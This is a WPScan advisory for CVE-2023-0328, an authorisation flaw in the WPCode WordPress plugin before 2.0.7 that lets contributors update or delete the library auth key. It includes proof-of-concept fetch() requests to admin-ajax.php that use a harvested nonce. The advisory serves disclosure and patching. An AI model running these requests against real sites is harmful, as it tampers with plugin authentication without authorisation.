WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WPCode < 2.0.7 - Contributor+ WPCode Library Auth Key Update/Deletion

Description

The plugin does not have adequate privilege checks in place for several AJAX actions, only checking the nonce. This may lead to allowing any authenticated user who can edit posts to call the endpoints related to WPCode Library authentication (such as update and delete the auth key).

Proof of Concept

As a contributor, edit a post and extract the nonce from the "var wpcode =" JS code, then run the below command in the developer console of the web browser

To update the auth key:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wpcode_library_store_auth&_ajax_nonce=NONCE&key=AAAAAA&username=dummy&origin=https://library.wpcode.com',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

To delete the auth key

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=wpcode_library_delete_auth&_ajax_nonce=NONCE',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data)); 

Affects Plugins

insert-headers-and-footers
Fixed in version 2.0.7

References

CVE
CVE-2023-0328

Classification

Type

INCORRECT AUTHORISATION

OWASP top 10
A5: Broken Access Control
CWE
CWE-863

Miscellaneous

Original Researcher

Sanjay Das

Submitter

Sanjay Das

Submitter website
https://p3n7a90n.github.io/
Submitter twitter
p3n7a90n
Verified

Yes

WPVDB ID
3c4318a9-a3c5-409b-a52e-edd8583c3c43

Timeline

Publicly Published

2023-02-09 (about 3 months ago)

Added

2023-02-09 (about 3 months ago)

Last Updated

2023-02-09 (about 3 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us